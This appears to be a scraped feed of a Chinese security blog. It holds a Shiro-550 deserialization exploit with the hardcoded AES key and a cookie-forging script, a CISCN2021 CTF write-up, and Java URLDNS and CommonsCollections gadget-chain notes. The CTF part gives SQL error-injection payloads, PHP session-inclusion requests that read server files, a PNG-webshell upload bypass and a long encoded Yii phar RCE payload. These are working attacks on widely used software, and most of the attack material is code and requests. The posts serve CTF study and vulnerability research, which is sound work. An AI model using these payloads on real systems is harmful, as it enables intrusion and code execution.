import sysimport base64import uuidfrom random import Randomimport subprocessfrom Crypto.Cipher import AES key  =  "kPH+bIxk5D2deZiIxcaaaA=="mode =  AES.MODE_CBCIV   = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, IV) payload=base64.b64decode(sys.argv[1])BS   = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()payload=pad(payload) print(base64.b64encode(IV + encryptor.encrypt(payload)))

yso payload生成

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "calc"|base64 -w0|sed ':label;N;s/\n//;b label'

然后生成用上面脚本生成cookie

1
py -3 encode.py <yso payload>

image-20210624161827948

也可以使用图形化工具,一键利用,https://github.com/feihong-cs/ShiroExploit-Deprecated

image-20210624154642996

漏洞分析

cookie生成

处理rememberme的cookie的类为org.apache.shiro.web.mgt.CookieRememberMeManager,它继承自org.apache.shiro.mgt.AbstractRememberMeManager,其中在AbstractRememberMeManager中定义了加密cookie所需要使用的密钥,可以看到密匙是直接硬编码写死的

image-20210624171322168

成功登录时,会进入onSuccessfulLogin方法

image-20210624171437672

当rememberMe设置为on时,最后会进入两个参数的rememberIdentity函数,accountPrincipals为用户权限类型

image-20210624210040095

跟进convertPrincipalsToBytes,this.serialize调用原生序列化类序列化数据,序列化之后通过encrypt函数加密

image-20210624210359887

encrypt调用cipherService.encrypt,最终返回bytes值

image-20210624210543832

跟进cipherService.encrypt

image-20210624210709364

调试可以发现这里使用AES加密,CBC模式,填充方式为PKCS5Padding

image-20210624210742440

iv的值跟进generateInitializationVector,会发现是随机生成的16位字符

image-20210624210911168

又进入一个encrypt函数,会进入第一个if逻辑,可以看到output是由16位iv加AES密文,最后返回Util.bytes(output)

image-20210624211103305

然后回到rememberIdentity,bytes即由16位iv加AES密文构成image-20210624211317251

rememberSerializedIdentity为抽象类,在org.apache.shiro.web.mgt.CookieRememberMeManager实现,可以看到这里设置cookie为base64过后的bytes

image-20210624211520917

cookie解析

org\apache\shiro\mgt\AbstractRememberMeManager.java中getRememberedPrincipals处理rememberMe

image-20210628155257906

跟进getRememberedSerializedIdentity,base64解码rememberMe值

image-20210628155429296

继续跟进convertBytesToPrincipals

image-20210628155540222

deserialize调用默认的readObject方法

image-20210628155939610

漏洞修复

  1. 更改默认密匙
  2. 动态生成密匙,不用自己提供。官方提供org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()方法来进行AES的密钥生成

CVE-2019-12422(Shiro-721)

影响范围

  • Apache Shiro < 1.4.2

漏洞复现

1
2
3
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.4.1

然后配置好idea的tomcat就可以了

详细复现和分析可以查看,https://yinwc.github.io/2021/06/01/shiro721漏洞复现/,iv需要爆破,时间比较久就没有复现了,懒 :P

大概原理及利用Padding Oracle Attack,针对AES中的CBC加密,修改AES解密后的值为想要的内容,就可以反序列化进入garget

参考链接

]]>
<h2 id="权限绕过"><a href="#权限绕过" class="headerlink" title="权限绕过"></a>权限绕过</h2><h3 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h3><p>基于此源码:<a href="https://github.com/l3yx/springboot-shiro" target="_blank" rel="noopener">https://github.com/l3yx/springboot-shiro</a></p> <p>导入idea,application.properties添加</p> <figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">server.servlet.context-path</span>=/test</span><br></pre></td></tr></table></figure> <p>因为pom.xml里排除了springboot内置的tomcat,新建Configurations-&gt;Tomcat Server,添加新的deployment,并设置context为<code>/test</code>,然后运行即可</p> <p><img src="/2021/06/28/Web_19/20210521160542.png" alt="image-20210521160532545"></p> <h3 id="Shiro基础"><a href="#Shiro基础" class="headerlink" title="Shiro基础"></a>Shiro基础</h3><p>Shiro验证</p> <figure class="highlight properties"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">anon</span> <span class="string">不需要验证,可以直接访问</span></span><br><span class="line"><span class="attr">authc</span> <span class="string">需要验证,也就是我们需要bypass的地方</span></span><br></pre></td></tr></table></figure> <p>Shiro的URL路径表达式为Ant格式</p> <figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="regexp">/hello 只匹配url http:/</span><span class="regexp">/demo.com/</span>hello</span><br><span class="line"><span class="regexp">/h? 只匹配url http:/</span><span class="regexp">/demo.com/</span>h+任意一个字符</span><br><span class="line"><span class="regexp">/hello/</span>* 匹配url下 http:<span class="regexp">//</span>demo.com<span class="regexp">/hello/</span>xxxx的任意内容,不匹配多个路径</span><br><span class="line"><span class="regexp">/hello/</span>** 匹配url下 http:<span class="regexp">//</span>demo.com<span class="regexp">/hello/</span>xxxx<span class="regexp">/aaaa的任意内容,匹配多个路径</span></span><br></pre></td></tr></table></figure>
CISCN2021初赛 Web Writeup https://jlkl.github.io/2021/05/20/Web_18/ 2021-05-20T06:54:55.000Z 2021-05-20T06:59:25.000Z easy_sql

报错注入,盲猜flag表,但不知道名称,用重复column名爆列名

参考:无列名注入小记

1
uname=%27)/**/||/**/(select/**/1/**/from/**/flag/**/where(select/**/*/**/from(select/**/*/**/from/**/flag/**/as a/**/join/**/flag/**/as/**/b/**/using(id,no))as/**/c))/**/or/**/('1&passwd=1&Submit=%E7%99%BB%E5%BD%95

image-20210518133713042

1
2
3
uname=%27)/**/and/**/extractvalue(1,concat(0x7e,(select/**/substr(`e691d77e-5da1-409b-a37b-ff4edfa14123`,31)/**/from/**/flag),0x7e))/**/and/**/('0&passwd=1&Submit=%E7%99%BB%E5%BD%95

uname=%27)/**/and/**/extractvalue(1,concat(0x7e,(select/**/substr(`e691d77e-5da1-409b-a37b-ff4edfa14123`)/**/from/**/flag),0x7e))/**/and/**/('0&passwd=1&Submit=%E7%99%BB%E5%BD%95

读出flag CISCN{9fO5F-WC2YL-GY3zM-R4aIu-kAjxU-}

easy_source

原题:https://r0yanx.com/2020/10/28/fslh-writeup/

middle_source

扫出来一个phpinfo 页面

image-20210518134150949

根据phpinfo ,猜测可能是 session 包含,因此启动两个线程,一个包含 php 内容,一个访问包含,就 var_dump /etc 了好几次有点难受

session_upload_process

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /index.php HTTP/1.1
Host: 124.71.229.172:21940
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: PHPSESSID=star1
Content-Length: 1343
Content-Type: multipart/form-data; boundary=a052c080752fddf220113461b22d48a7

--a052c080752fddf220113461b22d48a7
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php
$root='/etc/fhfeeeaagb/badidicfgc/eabdhbdgeb/babgfddbff';
$filenames=scandir($root);
while(is_dir($filenames[2])){
$root=$root.'/'.$filenames[2];
$filenames=scandir($root);
}
var_dump($root.'/'.$filenames[2]);
var_dump(file_get_contents($root.'/'.$filenames[2]));
?>
--a052c080752fddf220113461b22d48a7
Content-Disposition: form-data; name="file"; filename="1.txt"
a*100000
1
2
3
4
5
6
7
8
9
10
11
POST /index.php HTTP/1.1
Host: 124.71.229.172:21940
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Cookie: PHPSESSID=star1
Connection: close
Content-Length: 124
Content-Type: application/x-www-form-urlencoded

cf=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fphp%2Fsessions%2Fcafdcffacd%2Fsess_star1

两个包放在repeater 里面 30 线程跑,不断看结果,改目录。
最后目录在/etc/fhfeeeaagb/badidicfgc/eabdhbdgeb/babgfddbff/fbhbiaihha/fl444444g直接包含
CISCN{lxs4A5ku06-ywSkx-iasCN-9AMPN-}

upload

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
if (!isset($_GET["ctf"])) {
highlight_file(__FILE__);
die();
}

if(isset($_GET["ctf"]))
$ctf = $_GET["ctf"];

if($ctf=="upload") {
if ($_FILES['postedFile']['size'] > 1024*512) {
die("这么大个的东西你是想d我吗?");
}
$imageinfo = getimagesize($_FILES['postedFile']['tmp_name']);
if ($imageinfo === FALSE) {
die("如果不能好好传图片的话就还是不要来打扰我了");
}
if ($imageinfo[0] !== 1 && $imageinfo[1] !== 1) {
die("东西不能方方正正的话就很讨厌");
}
$fileName=urldecode($_FILES['postedFile']['name']);
if(stristr($fileName,"c") || stristr($fileName,"i") || stristr($fileName,"h") || stristr($fileName,"ph")) {
die("有些东西让你传上去的话那可不得了");
}
$imagePath = "image/" . mb_strtolower($fileName);
if(move_uploaded_file($_FILES["postedFile"]["tmp_name"], $imagePath)) {
echo "upload success, image at $imagePath";
} else {
die("传都没有传上去");
}
}

getimagesize判断是否图片,要求图片宽和高为1,同时要求后缀不能有cihph,那么上传php和.htaccess就不行了

example.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
if (!isset($_GET["ctf"])) {
highlight_file(__FILE__);
die();
}

if(isset($_GET["ctf"]))
$ctf = $_GET["ctf"];

if($ctf=="poc") {
$zip = new \ZipArchive();
$name_for_zip = "example/" . $_POST["file"];
if(explode(".",$name_for_zip)[count(explode(".",$name_for_zip))-1]!=="zip") {
die("要不咱们再看看?");
}
if ($zip->open($name_for_zip) !== TRUE) {
die ("都不能解压呢");
}

echo "可以解压,我想想存哪里";
$pos_for_zip = "/tmp/example/" . md5($_SERVER["REMOTE_ADDR"]);
$zip->extractTo($pos_for_zip);
$zip->close();
unlink($name_for_zip);
$files = glob("$pos_for_zip/*");
foreach($files as $file){
if (is_dir($file)) {
continue;
}
$first = imagecreatefrompng($file);
$size = min(imagesx($first), imagesy($first));
$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
if ($second !== FALSE) {
$final_name = pathinfo($file)["basename"];
imagepng($second, 'example/'.$final_name);
imagedestroy($second);
}
imagedestroy($first);
unlink($file);
}

}

从压缩包解压,并对图片重新裁剪

这里有一个trick,mb_strtolower处理某些unicode字符时会有问题

1
2
var_dump(mb_strtolower('İ')==='i');
//true

这里stristr判断黑名单后又用mb_strtolower处理,且有二次urldecode,那么思路就很明显了,上传zip压缩包文件,然后解压getshell

常规图片马都是在末尾添加php代码,但是这里解压过后会对图片进行裁剪,导致php代码丢失,所以这里采用写入到图片数据里,即IDAT块

用这个工具生成图片马

https://github.com/huntergregal/PNG-IDAT-Payload-Generator/

更改后缀为php,然后打包进zip压缩包

这里又有一个trick,可以用下面内容绕过getimagesize

1
2
#define width 1
#define height 1

百度了一下大概是xmb图片定义宽高的方法,可以在文件任何位置,但是必须在一行的开头(即前面必须有%0d%0a)

image-20210519190247440

成功上传

image-20210519190443012

解压

image-20210519190614470

访问getshell

同时这里记录一个坑点,我之前调试的时候使用的是2020.1版本的burpsuite,但是上传文件之后总发现文件内容被更改了,后来才发现paste from file的时候burp把一些十六进制字符比如8D直接就转换成了3F,emmm……后来换成最新版burp就没问题了,还是应该及时更新

filter

首先搭建一个yii环境

1
composer create-project --prefer-dist yiisoft/yii2-app-basic my-yii

加上提示配置

1
2
3
4
5
6
7
8
9
10
'log' => [
'traceLevel' => YII_DEBUG ? 0 : 0,
'targets' => [
[
'class' => 'yii\log\FileTarget',
'levels' => ['error'],
'logVars' => [],
],
],
],

发现 /runtime/logs/app.log日志文件,和Laravel的差不多

题目附件里改动就这一个路由,读取文件再写入,那么整体思路应该和Laravel Debug RCE差不多,清空log文件,写入phar,然后再phar反序列化

image-20210520094545426

可以参考:https://www.anquanke.com/post/id/231459

composer.json存在拓展monolog,phpggc刚好在版本范围内

image-20210520095352214

生成payload

1
./phpggc monolog/rce2 phpinfo 1 --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt

清空日志文件

1
http://dd60ec6c-4197-4c9b-8dd0-8651a607fa70.node3.buuoj.cn/?file=php://filter/read=consumed/resource=../runtime/logs/app.log

写入payload,注意最后面有一个a(这是为了能完整地将payload解码出来)

1
http://dd60ec6c-4197-4c9b-8dd0-8651a607fa70.node3.buuoj.cn/?file==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=36=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6A=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4E=00=6A=00=6F=00=69=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=78=00=4F=00=69=00=49=00=78=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=49=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=54=00=61=00=58=00=70=00=6C=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=45=00=36=00=49=00=6A=00=45=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=54=00=6F=00=69=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=67=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=6C=00=75=00=61=00=58=00=52=00=70=00=59=00=57=00=78=00=70=00=65=00=6D=00=56=00=6B=00=49=00=6A=00=74=00=69=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=54=00=47=00=6C=00=74=00=61=00=58=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=48=00=4A=00=76=00=59=00=32=00=56=00=7A=00=63=00=32=00=39=00=79=00=63=00=79=00=49=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=6A=00=64=00=58=00=4A=00=79=00=5A=00=57=00=35=00=30=00=49=00=6A=00=74=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=77=00=61=00=48=00=42=00=70=00=62=00=6D=00=5A=00=76=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=48=00=73=00=4B=00=6C=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=74=00=67=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=48=00=73=00=4B=00=6C=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=74=00=67=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=64=00=47=00=56=00=7A=00=64=00=47=00=54=00=77=00=30=00=7A=00=65=00=63=00=42=00=6C=00=74=00=50=00=57=00=55=00=65=00=6C=00=4F=00=6D=00=6D=00=48=00=30=00=33=00=4C=00=4B=00=4F=00=2B=00=71=00=61=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a

清除其他字符

1
http://dd60ec6c-4197-4c9b-8dd0-8651a607fa70.node3.buuoj.cn/?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log

phar序列化

1
http://dd60ec6c-4197-4c9b-8dd0-8651a607fa70.node3.buuoj.cn/?file=phar://../runtime/logs/app.log

image-20210520143635914

和Laravel Debug RCE的区别?

日志中只出现一次完整payload,还有一次到15字符省略的payload

image-20210520143950955

因为在utf-16le->utf-8的时候必须要求是偶数字节,不然会报错,所以在Laravel Debug RCE的时候会先发送一个AA的文件名让日志必定为偶数字节

在yii这里测试的时候本身就是偶字节的原因,就不需要提前发了,但是在调试Laravel的时候需要注意

参考链接

http://w4nder.top/?p=451

]]>
<h2 id="easy-sql"><a href="#easy-sql" class="headerlink" title="easy_sql"></a>easy_sql</h2><p>报错注入,盲猜flag表,但不知道名称,用重复column名爆列名</p> <p>参考:<a href="https://reader-l.github.io/2020/06/01/%E6%97%A0%E5%88%97%E5%90%8D%E6%B3%A8%E5%85%A5%E5%B0%8F%E8%AE%B0/" target="_blank" rel="noopener">无列名注入小记</a></p> <figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">uname=%27)<span class="comment">/**/</span>||<span class="comment">/**/</span>(<span class="keyword">select</span><span class="comment">/**/</span><span class="number">1</span><span class="comment">/**/</span><span class="keyword">from</span><span class="comment">/**/</span>flag<span class="comment">/**/</span><span class="keyword">where</span>(<span class="keyword">select</span><span class="comment">/**/</span>*<span class="comment">/**/</span><span class="keyword">from</span>(<span class="keyword">select</span><span class="comment">/**/</span>*<span class="comment">/**/</span><span class="keyword">from</span><span class="comment">/**/</span>flag<span class="comment">/**/</span><span class="keyword">as</span> a<span class="comment">/**/</span><span class="keyword">join</span><span class="comment">/**/</span>flag<span class="comment">/**/</span><span class="keyword">as</span><span class="comment">/**/</span>b<span class="comment">/**/</span><span class="keyword">using</span>(<span class="keyword">id</span>,<span class="keyword">no</span>))<span class="keyword">as</span><span class="comment">/**/</span>c))<span class="comment">/**/</span><span class="keyword">or</span><span class="comment">/**/</span>(<span class="string">'1&amp;passwd=1&amp;Submit=%E7%99%BB%E5%BD%95</span></span><br></pre></td></tr></table></figure> <p><img src="https://image-1251466963.cos.ap-chengdu.myqcloud.com/qiniu/20210518133714.png" alt="image-20210518133713042"></p> <figure class="highlight autohotkey"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">uname=%<span class="number">27</span>)<span class="comment">/**/</span><span class="literal">and</span><span class="comment">/**/</span>extractvalue(<span class="number">1</span>,concat(<span class="number">0</span>x7e,(select<span class="comment">/**/</span>substr(`e691d77e-<span class="number">5</span>da1-<span class="number">409</span>b-a37b-ff4edfa14123`,<span class="number">31</span>)<span class="comment">/**/</span>from<span class="comment">/**/</span>flag),<span class="number">0</span>x7e))<span class="comment">/**/</span><span class="literal">and</span><span class="comment">/**/</span>('<span class="number">0</span>&amp;passwd=<span class="number">1</span>&amp;Submit=<span class="variable">%E7%</span><span class="number">99</span><span class="variable">%BB%</span>E5<span class="variable">%BD%</span><span class="number">95</span></span><br><span class="line"></span><br><span class="line">uname=%<span class="number">27</span>)<span class="comment">/**/</span><span class="literal">and</span><span class="comment">/**/</span>extractvalue(<span class="number">1</span>,concat(<span class="number">0</span>x7e,(select<span class="comment">/**/</span>substr(`e691d77e-<span class="number">5</span>da1-<span class="number">409</span>b-a37b-ff4edfa14123`)<span class="comment">/**/</span>from<span class="comment">/**/</span>flag),<span class="number">0</span>x7e))<span class="comment">/**/</span><span class="literal">and</span><span class="comment">/**/</span>('<span class="number">0</span>&amp;passwd=<span class="number">1</span>&amp;Submit=<span class="variable">%E7%</span><span class="number">99</span><span class="variable">%BB%</span>E5<span class="variable">%BD%</span><span class="number">95</span></span><br></pre></td></tr></table></figure> <p>读出flag CISCN{9fO5F-WC2YL-GY3zM-R4aIu-kAjxU-}</p>
URLDNS&Commons Collections 1-7 https://jlkl.github.io/2021/04/13/Java_04/ 2021-04-13T08:47:46.000Z 2021-04-13T08:55:08.000Z 前言

大部分参照p1g3@D0g3师傅的文章,先入概念太重了,就当放个笔记吧

URLDNS

URLDNS 完全使用Java内置的类构造,无需第三方库支持。不能执行命令,通常用来验证目标是否存在反序列化漏洞。

  • 只依赖原生类
  • 不限制jdk版本

测试环境:jdk 11u8

利用链

1
2
3
4
5
HashMap.readObject()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()

利用链分析

HashMap 重写了 readObject,这里使用 hash 函数来处理 key,得到 hashcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
…………
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

跟进 hash 方法,当 key 不为 null 时,这里直接调用了 keyhashCode 方法

跟进 URL 类的 hashCode 方法,当 hashCOde 值为 -1 的时候,调用 handlerhashCode 函数

这里使用的 handler 默认是 URLStreamHandler 类,其 hashCode 函数内 getHostAddress 函数会对目标发起 DNS 请求,所以可以构造恶意序列化数据,看是否收到 DNS 请求来判断目标是否存在反序列化漏洞。

再回到 HashMapreadObject 函数,这里 keyvalue 的值是通过 readObject 函数从序列化数据中读出,那么 writeObject 函数必定有写入 key 和 value 的操作

跟进 writeObject 函数,这里主要是这个 internalWriteEntries 函数

继续跟进,发现这里是从 tab 里面获取 key 和 value,而这个 tab 其实就是 HashMap 的 table ,用于存储所有的数据,数据的改变需要用到 put 函数

跟进 put 函数,这里同样调用了 hash 函数,那么同理也会进行 DNS 请求。

那么如何阻止 put 时发起第一次 DNS 请求,URL 类 hashCOde 函数内,当 hashCode 不为 -1,会结束调用,于是在 put 前设置 hashCode 不为 -1 ,在 put 之后,序列化对象之前再设置 -1 即可。

可以这样理解,在序列化 HashMap 类对象的时候,为了减少序列化后数据的大小,并没有将整个哈希表保存进去仅保存了所有数据的 key 和 value,这样在反序列化对象的时候,就需要重新根据 key 去计算 hash,而 URL 这个类在计算 hash 的时候会调用 getHostAddress 查询主机地址,自然就会放出 DNS 请求。

yso 中利用分析

yso 阻止第一次 DNS 请求的方法就比较巧妙了,这里的 URL 构造函数有三个参数,查阅文档,这里其实是自定义了一个 handler,SilentURLStreamHandler

然后重写 getHostAddress 函数,直接返回为 null ,不会进行 DNS 请求,简单粗暴

因为 java.net.URL.handle 是标记 transient 的,不会被序列化进去,从而不会影响漏洞的利用

测试代码

URLDNS.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package demo;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL url = new URL("http://xxxx.dnslog.cn");
//反射访问属性
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 0xdeadbeef);// 设一个值, 这样 put 的时候就不会去查询 DNS,不为 -1 均可
hashMap.put(url, "Str3am");
f.set(url, -1);// hashCode 这个属性不是 transient 的, 所以放进去后设回 -1, 这样在反序列化时就会重新计算 hashCode

//序列化对象并写入文件
ObjectOutputStream obout = new ObjectOutputStream(new FileOutputStream("out.bin"));
obout.writeObject(hashMap);
}
}

Main.java:

1
2
3
4
5
6
7
8
9
10
11
12
package demo;

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class Main {
public static void main(String[] args) throws Exception {
//从文件读取并反序化文件
ObjectInputStream obin = new ObjectInputStream(new FileInputStream("out.bin"));
obin.readObject();
}
}

CommonsCollections 1

Commons-Collections 为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。保证性能的同时大大简化代码。

影响版本:

  • jdk < 8u71
  • Commons Collections 3.1

测试环境:

  • JDK 1.7
  • Commons Collections 3.1

利用链

1
2
3
4
5
6
7
8
9
10
11
12
